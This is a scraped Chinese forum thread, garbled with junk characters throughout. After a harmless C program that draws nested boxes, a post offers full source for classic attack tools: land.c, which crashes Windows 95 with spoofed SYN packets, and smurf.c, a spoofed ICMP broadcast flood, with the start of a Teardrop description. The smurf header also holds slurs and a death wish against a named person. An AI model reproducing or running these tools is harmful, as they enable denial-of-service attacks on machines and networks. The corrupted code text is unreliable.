  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。) o# x3 @/ X+ c
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>6 ]: \0 B9 i& H' n% a
<FONT color=#009900>/*
' @; p9 l- b  i& v  R: W3 H*
* |5 j& R+ p, [- ]* Short driver module
: p0 O7 K9 Q( x  c* m*
$ \( T$ i4 c0 s1 c*/</FONT></P><><FONT color=#009900>main()
9 v  ]5 D) H9 F" Z$ {5 M{
! g9 h+ m* A, H" o, R* O, Sclrscr();
1 ?+ S- M/ `$ k/ G9 Z: Abox(1,1,23,79);* x1 ?3 m* N2 Y7 v& t
box(2,2,21,77);  X, r4 p; j) z1 Q/ R( J- [# s; l
box(3,3,19,75);; m1 f6 q! u# `9 Y% v: |# I
box(4,4,17,73);4 \. y' {8 e" u& \" B2 e
box(5,5,15,71);
! {# M: J, Q6 l7 s  t3 g, Q) ubox(6,6,13,69);8 e1 u3 Y1 `; g* M* G- i' l* a
box(7,7,11,67);
! X0 z3 |% O2 q3 m4 M  V* Rbox(8,8,9,65);
9 ?; P2 w' p/ @9 Z& w( ybox(9,9,7,63);0 X7 c* d/ r% ]
box(10,10,5,61);& w* B+ r: g4 n& H
box(11,11,3,59);
' H7 B& |+ A6 R+ h7 nbox(12,12,1,57);. x2 \- ^' o# T' F
poscur(24,1);
8 R& W! u9 ?$ T/ F& r) @}</FONT></P><><FONT color=#009900>/************************************************************5 |* r; c) r# T# |4 v
* BOX *- L: {! Q+ I; V- p/ j
*----------------------------------------------------------*, _* ]+ Q9 a$ W7 h( m" @  D
* Written by: Jeff Ebert 7/01/87 *
/ z- G& a. K$ l/ A* Modified by: xxxxxxxxxx *
  L, u5 ~% G, H0 R9 o! E* *$ x( @, S, X" M& E$ O% g
* Please modify me! *! }; S- S3 S" ?
* Possible Enhancements include but are not limited t *6 b6 z0 \1 A: Q$ ^/ X  d
* 1) Variable box character styles [1 line or 2] *  E) E4 `8 W# Y$ w/ y& A
* 2) Error checking *0 ^5 h4 n7 R4 h
* 3) Color options *
* v+ _; A% k2 ]! r6 a! c* *
# f7 ~7 b4 g1 L$ x1 Q* *
6 W! o- r' X5 A* This function builds a simple double frame for a menu. *
7 Q0 E' Z2 j2 |: ?4 d* The function is passed the parameters for the upper *
! a0 |. x' z% S9 ?2 X  M* left corner row, upper left corner column the height *& y6 ^9 d$ I& q* L# `* w+ y
* of the frame and the width. *
4 W. r# z( h4 ?5 A* *, t. p" \& O7 p9 L! }4 x
************************************************************/
0 e# ^' p8 k6 Y5 N# D#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
1 m" ^$ W* p9 C3 g( k0 t#define URCOR 187" L" R# ]# b3 t3 _9 w" t9 j
#define LLCOR 2005 L  Z: y% ~+ C4 Q( `" y: t
#define LRCOR 188) w0 y) m/ `' y; |8 U0 N
#define VBAR 186
8 Z/ s  q* A, o5 g! j7 ^; r( a#define HBAR 2056 A6 ]' p, ~8 U; Y
#define ESC 27</FONT></P><><FONT color=#009900>
0 O+ ^' s7 e5 c# B, m) Wbox(row, col, hgt, wdth)
* G  _9 h7 L- r0 Q+ _int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
9 g6 F6 U& S/ C4 y3 ?int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
) b# G, n+ |* }% [4 ?1 Oputchar(ULCOR);
8 T6 O6 t. d; ?) \for(x = col + 1; x &lt;=(col + wdth -1); x++)2 |: ~$ d+ U7 j$ W  p* C0 S3 a0 w
putchar(HBAR);& U% b6 X% _) R* q
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
" t+ z" O' D2 A5 o4 Lposcur(x,col);* N; h$ Q& g, t6 _
putchar(VBAR);
5 l' B3 R% K5 `poscur(x,col+wdth);
! r) i3 w; N5 G* |putchar(VBAR);
) p9 p% O" B$ X7 S2 I3 `: Q}/ C( n2 N' Z3 ]4 [- B5 W
poscur(x,col);6 F0 o9 q# O5 e
putchar(LLCOR);
4 M1 }% L6 h. |* kfor(x= col + 1; x &lt;=(col + wdth -1); x++)
+ v) G: w4 u  D$ b, Hputchar(HBAR);; r" Y- a/ }6 B  {
putchar(LRCOR);4 ^: U6 @0 S9 S
}</FONT></P><><FONT color=#009900>/********************************************************
) p6 |1 |5 j( Q* POSCUR *
* C9 v  L; v, A+ n- M# Y( Q*------------------------------------------------------*
# [( R2 t) K/ z& r* This function positions the cursor at the specified */ R# Q4 \9 _2 E" _& X
* x,y coordinate. It uses the ANSI standard ESCAPE *$ R; x3 a2 j4 l" m# l
* sequence to produce the desired effect. Its not the *& f* z- @, H( E% K
* fastest way to position the cursor, but perhaps the *
+ R! N) g5 |& w3 t4 ]7 ]! X* most portable. *" \5 |, D% Y' J  a& G- W: z2 ^
* *  ?: Y$ t3 b( I6 U) L
********************************************************/
8 t' M" L+ @3 c8 ]poscur(xcor,ycor)
( v" U; [, z2 Fint xcor,ycor;
& F7 l1 U- e) s2 ]% T; R{
5 [5 u% K) O  j4 t* f( xprintf("%c[%d;%dH",ESC,xcor,ycor);
, |: ]! R4 J" k" V1 L$ c}</FONT></P><><FONT color=#009900>0 B; h( w( J3 c- l! G' J
/********************************************************
; L! J4 v. X) s4 w* CLRSCR *
; S) U" h4 V/ b# @" E! _% S*------------------------------------------------------*
& L' N: W2 x" f7 b0 _( v* This function positions the cursor at the specified *3 v9 s1 P- a2 j' ?% J2 n8 U
* x,y coordinate. It uses the ANSI standard ESCAPE *
7 t4 n. ?8 c' ~6 `" F* sequence to produce the desired effect. Its not the *& \- `% G4 Z" w$ }; g
* fastest way to position the cursor, but perhaps the *
! B3 S) ~0 @& N) X1 G/ U# R* most portable. *
* j: ~" i& }) s) E/ q3 ]' Q* *
9 ~: O! l( B! W6 \. N- U********************************************************/5 I7 U$ e5 i  B# `' Y2 g8 c' F
clrscr()
2 S! t4 p3 \8 j* v: W* ?- N{ $ l$ W% a/ b, `' q
printf("%c[2J",ESC);
9 k/ V( c  E) V5 M! U% C& {4 B9 O}</FONT>9 U7 m% O3 n8 C4 Z8 R) m
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract* r% U0 N# a( E" y* g
这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自
3 ~) J, i+ s0 B$ d+ h6 E己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>. X3 N: O# r' {+ A+ a
<FONT color=#009900>/* land.c by m3lt, FLC
, N2 b. Z+ ^$ mcrashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
8 \/ i7 P' ?' D) A! [$ W1 i" s#include <NETDB.H>+ }4 K, c8 r- g  p
#include <ARPA inet.h>
" l3 D7 B/ s% D- y: x  x! Z4 @#include <NETINET in.h>
; d$ ^( d/ s7 x1 N& ]: h2 d8 [#include <SYS types.h>* ?* Y, R1 Y/ e4 i4 b2 B
#include <SYS socket.h>
2 t* U0 |; V9 e3 R, i#include <NETINET ip.h>; p4 m" C$ N/ M. m
#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
( }2 d- Y4 W1 gstruct pseudohdr
; j' O: y+ @8 t8 v" T{+ G! Y* L  p& I0 A5 \
struct in_addr saddr;
8 F8 |1 ~/ G0 w. t& q: Z: f$ z( jstruct in_addr daddr;
- O4 q/ b7 r6 O0 au_char zero;3 Q9 U. A/ Z! n: S. A0 s& M$ L
u_char protocol;
; Q* P6 I6 X7 J" ^. N0 Q+ n0 S" Pu_short length;
+ Z) x3 E6 f1 a9 Y! t& g" v0 i& l: W- rstruct tcphdr tcpheader;0 \$ N/ O( _+ B& J: W9 F  A) g
};</FONT></P><><FONT color=#009900>//计算IP校验和4 y$ n  f& w0 z: j' S: @
u_short checksum(u_short * data,u_short length)
6 h, x7 D) Q  T1 H3 C{
1 E* a! b8 ~+ K3 o+ Q' hregister long value;, k% J( L, a2 s' f5 n
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)9 P0 Y3 S+ @( A2 L- {8 }4 V
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
+ ]' U, h) B: t9 ^+ F, Yvalue+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);, E6 L* X  y' o
}</FONT></P><><FONT color=#009900>
2 h# L* d7 k8 ~4 W; hint main(int argc,char * * argv)
1 {' h+ m! u! ?3 y6 t0 k- t{  J) C9 u, P1 J, A' n) O7 P
struct sockaddr_in sin;9 K" K2 V1 k5 w' j' N. R5 b9 L* u
struct hostent * hoste;9 \7 w/ x: y5 O% c8 a4 w, t! `
int sock;
: H* G; y: x6 f5 I5 v4 X5 r& cchar buffer[40];
7 ?& y) n* C, U  `2 J  ~- I3 P: M. vstruct iphdr * ipheader=(struct iphdr *) buffer;
1 \0 K6 `2 H2 s' zstruct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));! ]* y, T) _1 P' E, ~3 b: U% v: I, T
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)  o( C( c' |, ~& b) U2 ~$ B# w
{2 h" z0 E2 x" i" ~3 O- K
fprintf(stderr,"usage: %s IP port\n",argv[0]);
* P: w1 V  U2 \9 w; Treturn(-1);+ {! i+ \" M0 C7 J' p
}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
; G5 _, v- c* xsin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)7 n/ k$ s: W- j3 W! e' L# f9 `# L
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
' W/ M$ p7 G) z, B1 _* c5 K4 }- Belse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1): g/ w) C1 K$ d  ~/ f' G  \0 v
{2 O- R. M* H1 V& s+ A
fprintf(stderr,"unknown host %s\n",argv[1]);
. ^6 e; W2 s8 W8 J9 }7 q6 Lreturn(-1);' B# j. e! d" {) X( r; M, x
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
6 O, _7 N5 ~2 E/ o* b( O% q3 G+ Z9 M{4 r( b1 o9 T3 {4 w" ]
fprintf(stderr,"unknown port %s\n",argv[2]);
3 ~0 S! O  b, {' |2 \/ {return(-1);2 p/ Y  }& y- v$ L# u/ d
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
0 [: l& F; W; r( Qif((sock=socket(AF_INET,SOCK_RAW,255))==-1)8 I: n" T$ j9 a: |, h" r
{9 A, F, C9 `) T0 w5 \
fprintf(stderr,"couldn't allocate raw socket\n");, f  {: b, F0 [; f, x6 D! i  E
return(-1);
3 _7 X: t0 t5 J7 W( k% `' h) o}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));4 W% H1 ?, d6 H  a  t
ipheader-&gt;version=4;, l* F7 O0 u( K) C4 O- X
ipheader-&gt;ihl=sizeof(struct iphdr)/4;5 c$ q0 u3 y+ d* T# j: D' J
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
* @% g1 {, k9 d, p/ lipheader-&gt;id=htons(0xF1C);
  ~" v" {& I9 k6 [! G6 T7 Yipheader-&gt;ttl=255;5 K% [; b+ N  p+ X( w) h
ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
( H2 R4 u, I0 ?9 K5 O" y1 Sipheader-&gt;saddr=sin.sin_addr.s_addr;( K& o2 S  R9 h" Z
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
) W/ q& m4 _7 g8 Vtcpheader-&gt;th_sport=sin.sin_port;$ p# F! n( I8 k7 W! [) J2 g7 K
tcpheader-&gt;th_dport=sin.sin_port;, S5 V* \( l) N7 |1 V
tcpheader-&gt;th_seq=htonl(0xF1C);+ I, ~6 t" B5 S5 d
tcpheader-&gt;th_flags=TH_SYN;4 J, W5 I/ E! w6 G! N
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;( h0 ^0 e9 M/ _7 ^! R/ c
tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));( h( g- R2 h: q! y) P1 y; i1 K
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
' Z1 u7 o9 t& H9 |- D: P3 kpseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
2 v0 Y1 W, A4 }& G! ]pseudoheader.protocol=6;
$ K" ]9 C+ P/ }, O; C$ j' P" mpseudoheader.length=htons(sizeof(struct tcphdr));# H$ F9 R' c% C- O, x4 G
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
  [0 h! i4 q+ u6 N$ w- htcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0 \  y: u; n0 [/ }( y9 j4 ^
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
: w* r8 p- `& Z% {; q* v{
/ M) C, L- D" s* f6 `8 {  T8 k5 |fprintf(stderr,"couldn't send packet\n");
# C0 c8 Z+ ?0 l* @' e6 f. A7 j# Dreturn(-1);
8 }( {. D! y7 ~9 t}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);* l$ p  o% Q! G' U
return(0);
8 a; V) b: u+ O) t8 C}</FONT></P><>
# H, D/ n/ Y6 f" o8 ~' Z" o2 Smurf
5 H' n' i+ k4 U) v( vsmurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数* Q  m7 D3 }) p
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包' d- j$ e/ D5 I
的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些6 b2 E. J+ w9 |. E: w7 |
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
& m# O, v" ?  x(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变
, p& T' n9 ~, t) k( q成不可能(没有WINS服务器时)。</P><P>/*5 g! q4 v, p7 K+ `$ c
*$ O# }1 e1 U7 y: {4 J( q' k
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $1 k( P9 P9 ^! A1 @% {% f# e
*
' b+ |1 @/ _: F2 _5 `& K0 o' Q* spoofs icmp packets from a host to various broadcast addresses resulting
" c( e6 Y) r+ q3 g6 ]8 r* in multiple replies to that host from a single packet.
' H; h9 K1 M( f9 t  ]5 n$ F*
  x  Z: K4 Z$ ~* mad head t- e* I4 s- O5 T8 o
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,; Q7 E/ v& J) S
* MissSatan for swallowing, napster for pimping my sister, the guy that  S3 G+ X; h$ l: m
* invented vaseline, fyber for trying, knowy, old school #havok, kain$ v: }' l+ g1 @/ H8 \
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might5 p2 o2 ^. i% Q) O: }- z1 w: P
* have missed (you know who you are).6 f8 Q4 v: e" Z- Y/ ?% X. a
*  H7 _4 h8 ^, t5 D
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
" O8 H! B2 l! |, p1 F7 A* thing he is (he's -almost- as stubborn as me, still i managed to pick up
! p7 F3 [7 z8 A! k3 ^" r5 [% t* half the cheque).
2 C9 q6 m* m! S( g/ t*; C/ ^9 V- v- c0 W, P4 |, s8 Z3 }; n
* and a special hi to Todd, face it dude, you're fucking awesome.' K" W! u( P7 ~" F) H/ o  V& o' R
*
  q8 s8 ], s+ a4 p( n) ^$ o* mad anal t
7 s5 s0 A5 S4 C6 j$ T* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
5 N- e0 v  v4 l1 E5 v  a* because they plain suck, Rolex for being a twit, everyone that
2 e  N0 E9 Z) D9 G: h* trades warez, Caren for being a lesbian hoe, AcidKill for being her
& K" ?7 H4 `/ m+ n+ w, |* partner, #cha0s, sedriss for having an ego in inverse proportion to5 z$ i9 h7 s  ?! ]$ ]5 ^
* his penis and anyone that can't pee standing up -- you don't know what. [# W8 e! S! R/ ^
* your missing out on.  s  @  l" W0 l5 m' J  C/ X
*# I6 y9 L& Q% z, ?/ Y8 A2 E
* and anyone thats ripped my code (diff smurf.c axcast.c is rather* `" b. H; C& z  O! E9 W
* interesting).
$ |' g$ S! T9 Z9 t% E*2 S  ~6 h% {4 L; t$ O" _
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
: C. v! _( S& f- w2 i/ \$ C' ~* Robbins for trying to steal my girlfriend. Not only did you show me" u, }4 O8 u1 v# P. J. M, l7 H3 e
* no respect but you're a manipulating prick who tried to take away the4 o4 n/ w0 L, ^; K
* most important thing in the world to me with no guilt whatsoever, and6 R* w: \* N3 D! I
* for that I wish you nothing but pain. Die.
  ~  W  K8 i$ j9 e' k+ B% L*
/ `9 O: N: B5 R9 @* disclaimer:8 G8 G9 A5 O$ ?4 A$ E2 X1 i
* I cannot and will not be held responsible nor legally bound for the
8 ^1 K* x7 g* o: W: E* malicious activities of individuals who come into possession of this
0 z, o0 C3 S7 i* Z$ }* program and I refuse to provide help or support of any kind and do NOT' l& K/ D/ h# H  p/ N
* condone use of this program to deny service to anyone or any machine.! Z# n8 E+ f  b4 p4 I% v
* This is for educational use only. Please Don't abuse this.
$ S1 M1 P' @% N*
  ~* S6 ?2 S/ n3 l" N7 ?+ i* Well, i really, really, hate this code, but yet here I am creating another/ s$ k* t' o; f1 j
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
5 y4 ~5 R( {9 M7 n* ^" Q) N* m* like most programmers don't like seeing bugs in their code. I saw a few
9 S' t; @0 A0 x, x& m* things that should have been done better or needed fixing so I fixed
6 t# b" X& n" m4 [2 `# R* them. -shrug-, programming for me as always seemed to take the pain away2 o5 x6 f' v0 J! O
* ...
% i; v' j& w' x, Z*
9 z- [' }% A) K& z1 v*
  k, A; k5 I: C+ B$ D& a7 Q*/</P><P>#include <SIGNAL.H>
/ z9 k. a6 \, m0 \1 R! R4 r! c#include <STDIO.H>
9 r5 c+ L, K' n7 j8 z% r% ]2 }7 y& D#include <STDLIB.H>
& A/ I1 u. x! d  D' f#include <SYS socket.h>
; A8 Y* |, H3 Y3 ^7 O8 G' z: b#include <SYS types.h>
" F2 v1 Y1 O& k$ Q, `, C2 Y" k#include <NETINET in.h>" B! h' w& t) r
#include <NETINET ip.h>- J- o( @; A: p! t* C; o8 `
#include <NETINET ip_icmp.h>
" h( q; H( m5 M  q$ y#include <NETDB.H>( {4 y2 k* F& J
#include <CTYPE.H>
: W% T2 K5 ~& l% M. t6 f& V#include <ARPA inet.h>
! B6 J( D3 o" f! X1 D#include <UNISTD.H>
* x, K9 g2 M  J: C#include <STRING.H></P><P>void banner(void);6 a, |, v" g% k6 y' i: h0 L* e+ h
void usage(char *);
, H( a! O0 |+ f) ?void smurf(int, struct sockaddr_in, u_long, int);. x4 |# Z/ K7 |
void ctrlc(int);; j( F& O8 Y. ~1 y8 h* c
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */
: ~- E7 p+ b; kchar id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
: n) k7 f. `$ ~# v/ o, D{
, j8 o0 b; P2 n; fstruct sockaddr_in sin;
/ d0 w. B8 C' B2 L: k( ustruct hostent *he;
) n9 A, y6 z4 {* f. N2 A1 pFILE *bcastfile;+ Y0 {  x" e9 ?
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
4 N- S7 s& m% F5 rchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();- Z' G" d, k. }1 `  l1 y+ \
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
8 ?* l. j- h& G* xperror("resolving source host");$ J; ^2 |/ J: N# u5 ~" |
exit(-1);
, U; R) c8 y( C$ S6 O7 a! x}" s) B! o6 K9 X4 m% q
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
/ D/ @8 Y8 W) V" Hsin.sin_family = AF_INET;
+ {4 e  m( K9 B' `+ Z& U! t- Xsin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
7 _: a) C2 h  y1 Q3 ddelay = atoi(argv[4]);
& u+ l% O! f( Zpktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
1 u, Z( n- a0 g; |0 @perror("opening bcast file");
" m% @( `$ M. k& z0 E% cexit(-1);
) \* B  U# A2 d4 A1 {}
+ w: v- d; Y) d  n  N/ U9 s4 Fx = 0;! Z! P, P8 r4 v1 h1 f: |3 ?
while (!feof(bcastfile)) {
  F# Z. L7 t# L5 r9 Qfgets(buf, 32, bcastfile);
! u# J) t7 H2 Y+ \, Lif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
7 ]" l; S1 |) N' y# `for (i = 0; i &lt; strlen(buf); i++)
- Q  m& A& b$ U6 X% A* dif (buf == '\n') buf = '\0';
* P: p; Z- Z+ S* T  C+ I) Z3 p; ~  Y  obcastaddr[x] = malloc(32);$ Q0 ]0 X3 b, ^6 C
strcpy(bcastaddr[x], buf);& g: a6 {1 R; j; l
x++;: O9 X9 w, Z5 |- c+ g
}
+ @5 ~- s- n9 X) `' K+ sbcastaddr[x] = 0x0;
) n7 K1 `" E: r+ _; sfclose(bcastfile);</P><P>if (x == 0) {
( r. P: [+ Z( W/ B+ R  P3 mfprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);1 j* T7 p; e$ Y" v3 j0 \- |+ D4 p
exit(-1);8 X9 C1 A4 V, p; Q
}. t2 _2 [; c( k7 K) C
if (pktsize &gt; 1024) {
' V+ H; D9 p' f6 m& Ofprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");, s2 R4 S% ^& R! A- F8 s1 V% v& @! r
exit(-1);
2 B% j" m( K& \  [3 E4 h: O1 x}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
6 q/ z& D, f# U4 `/ Operror("getting socket");
" k& G, I' ^  o. s+ \8 Nexit(-1);
/ l# j9 f; a/ w+ r2 H}2 o5 S+ d& O& m& L+ V; P1 J
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {; `9 m! Q3 D+ }5 f( t6 g" Z
if (!(i % 25)) { printf("."); fflush(stdout); }
$ r; j  G2 \" p5 [1 Asmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);% i# s/ x( k4 W/ A/ s7 a1 Q
cycle++;
5 l! T! ^. P- O; Yif (bcastaddr[cycle] == 0x0) cycle = 0;
, C# Y: Y8 ~9 M7 musleep(delay);
2 [8 N5 o1 |. N0 }3 U$ Y}
' O8 [% [6 `5 n& ~puts("\n\n");3 F0 K, R- U7 d: O
return 0;# i' ?0 N! m. y, h- X
}</P><P>void banner (void)2 v1 I/ @- a2 B
{
9 n( n, F, W  |puts("\nsmurf.c v4.0 by TFreak\n");
$ B  s9 J$ D  s% ?9 {}</P><P>void usage (char *prog)
# z9 S( r  \9 y! o1 {{; U, D9 ^+ F) w* e7 Q% D
fprintf(stderr, "usage: %s <TARGET><BCAST file>"2 ^6 W/ w7 n# \
"<NUM packets> <PACKET delay><PACKET size>\n\n"
4 I5 s% W- N: J' _0 ^) J"target = address to hit\n"$ E  [: X% [1 u
"bcast file = file to read broadcast addresses from\n"
. X& T% N+ _' @"num packets = number of packets to send (0 = flood)\n"
0 \! N* P3 v3 @* C6 `* Z"packet delay = wait between each packet (in ms)\n"3 d. q5 p" `$ G# x
"packet size = size of packet (&lt; 1024)\n\n", prog);. \; K( t- b7 r$ L6 g
exit(-1);
0 b$ T# Z2 B7 p. s}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
$ {/ h& G- ^6 u" ?{
  {7 ?" w1 Y+ Estruct iphdr *ip;
5 w6 k9 e5 M/ `4 k* x9 qstruct icmphdr *icmp;
& @" g) W" W% q  `% `char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  h7 \% M# F9 @. Z$ M6 vip = (struct iphdr *)packet;
) C$ @* V+ K5 T1 Z0 {" x  ?% @icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
$ B2 U4 N0 D1 s! U2 V- u' K% s; ]( ?% k# pip-&gt;ihl = 5;8 i+ Q/ ?0 e, C( M0 X- U% D
ip-&gt;version = 4;6 Y& f! O( v( I4 n' ^8 B
ip-&gt;ttl = 255;) I$ G0 E9 Y/ e, n+ g
ip-&gt;tos = 0;8 S% C0 z* A: b  S* x
ip-&gt;frag_off = 0;
- \' Q7 M/ n) |/ y/ ]% oip-&gt;protocol = IPPROTO_ICMP;
  H* \) h: M$ e% X, @$ K! C# L! Hip-&gt;saddr = sin.sin_addr.s_addr;
0 q/ E( B% B5 L9 Zip-&gt;daddr = dest;) P6 W& m) |6 }7 n+ l
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));; M# {# A& }0 {- i* H9 y4 L% B
icmp-&gt;type = 8;
+ o8 O( F( A2 zicmp-&gt;code = 0;* m' r) `1 V5 \4 }  M* u
icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
8 U: H: ^$ Y9 h% [- J6 V1 o0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */
. K- ~) R* q. y}</P><P>void ctrlc (int ignored)
$ B. V6 z  {* O9 r1 e8 [5 Z6 J  F{
) W0 b% Q! c: v* W2 Q4 Hputs("\nDone!\n");
1 c+ S& U* G! {8 e. c6 S$ dexit(1);* D. _3 B/ ^3 Z8 l" B" ~+ s
}</P><P>unsigned short in_chksum (u_short *addr, int len)
, M  h, ?7 C$ {{
, ~$ G" F8 y' l- q+ ?- r/ Pregister int nleft = len;1 e, y1 e; P- U' h- |8 j( o
register int sum = 0;! ~! }* E: Q) G* W$ n
u_short answer = 0;</P><P>while (nleft &gt; 1) {
! {) a& Y7 j7 H0 f  w& f5 P$ esum += *addr++;, ?  ^# y- J. K
nleft -= 2;4 W- P( w3 G( l( @! j
}</P><P>if (nleft == 1) {. p, R2 x& X. D# ?1 g: K
*(u_char *)(&amp;answer) = *(u_char *)addr;9 R' F& Z* a5 j. f0 }! G
sum += answer;, D- i0 y% u3 l1 D
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
1 A5 }* [; F9 |( v3 usum += (sum &gt;&gt; 16);
( J: a3 @- r: p  Lanswer = ~sum;
' a2 I* I' I+ r& R& y- \" ]return(answer);
+ s: y) E" Y: ?2 \% L4 c2 U0 z( ]1 K}</P><P>
+ L) l- L3 [8 e) L; s: A1 {2 X1 L3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
" s: }/ `8 a3 p1 q' nfp = qp-&gt;fragments;
5 [) v: x5 `6 t8 m5 w" b% f" Iwhile(fp != NULL)/ \$ P- `: A$ e# E
{# ?% ~8 m' `' u) G
if(count+fp-&gt;len &gt; skb-&gt;len)
+ u( F4 V$ _2 b* ^2 W{
# Z; T5 w8 z% i$ n" Perror_to_big;
# G) l+ t+ ]# m/ M5 m- k9 I) y' l}- s3 V/ V) c& O9 n* k9 G* g3 _# O
